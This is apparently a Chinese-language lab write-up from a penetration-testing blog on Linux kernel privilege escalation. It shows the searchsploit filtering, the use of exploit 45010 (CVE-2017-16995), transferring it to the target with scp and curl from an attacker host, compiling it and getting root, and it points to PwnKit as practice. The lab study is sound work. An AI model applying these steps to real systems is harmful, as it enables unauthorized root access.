利用 Linux Kernel 漏洞

 利用 Linux Kernel 漏洞


Kernel 核心漏洞利用是一種很好的提權方法,但成功可能不僅取決於目標核心版本的匹配,還取決於作業系統風格的匹配,例如 Debian、RHEL、Gentoo 等也是很重要的條件

透過檢查 cat /etc/issue 檔案來收集有關目標作業系統的資訊 : Ubuntu 16.04.4 LTS



接下來使用標準系統命令檢查核心版本和系統架構 uname -r & arch




依據上述的資訊推斷目標系統為 :

x86_64 架構上運行 Ubuntu 16.04.3 LTS(核心 4.4.0-116-generic)

還記得之前用過的漏洞查找指令 searchsploit,指令 searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"   | grep  "4." | grep -v " < 4.4.0" | grep -v "4.8"

 - 先過濾包含 4. 的內容

 - 再去掉 < 4.4.0 的內容

 - 與過濾掉 4.8 的內容


未過濾前內容




 | grep "4." 的結果........感覺好像是一樣




去掉小於 4.4.0
| grep -v " < 4.4.0"




最後加上  | grep -v "4.8" 去掉 4.8 的產出




直接使用最後一個

Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c

因為它似乎較新,也與我們的核心版本匹配,因為它針對的是 4.13.9 以下的任何版本

將檔案 COPY 到當前目錄,注意 *.c 是未編譯過前的檔案




讓我們看一下前 20 行的內容 head 45010.c -n 20






很幸運的這一行直接告訴我們要透過 gcc 進行編譯

  gcc cve-2017-16995.c -o cve-2017-16995

且語法是編譯前檔案與輸出編譯後檔案,先將名稱做成一樣
mv 45010.c cve-2017-16995.c



接下來透過 SCP 將檔案傳輸到目標攻擊主機上準備進行編譯

是的,編譯的進行是在目標主機上而非攻擊機上

指令 scp cve-2017-16995.c joe@192.168.220.216:



ls 確認一下檔案已上傳到攻擊目標




也可以透過 curl -O http://192.168.45.228/cve-2017-16995.c 來下載攻擊機上的檔案




傳輸完畢後我們使用該 Exploit 內容的指令直接進行編譯 gcc cve-2017-16995.c -o cve-2017-16995

可以放心地假設 gcc 正確編譯了它,因為它沒有輸出任何錯誤

在編譯這種核心漏洞檔案的時候是非常容易出現問題的




接著先檢查我們剛剛編譯完成的檔案架構

file cve-2017-16995,顯示用於 x86-64 上使用的檔案,看來應該沒有問題




那就直接執行看看吧 ./cve-2017-16995,順利地拿到 root 了







練習 :

透過下載這個 PwnKit https://github.com/ly4k/PwnKit,上傳到目標機

然後利用手動的方式執行如下




直接就提權拿到 root 與拿 flag




Exploit Db 上是 50689 https://www.exploit-db.com/exploits/50689



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)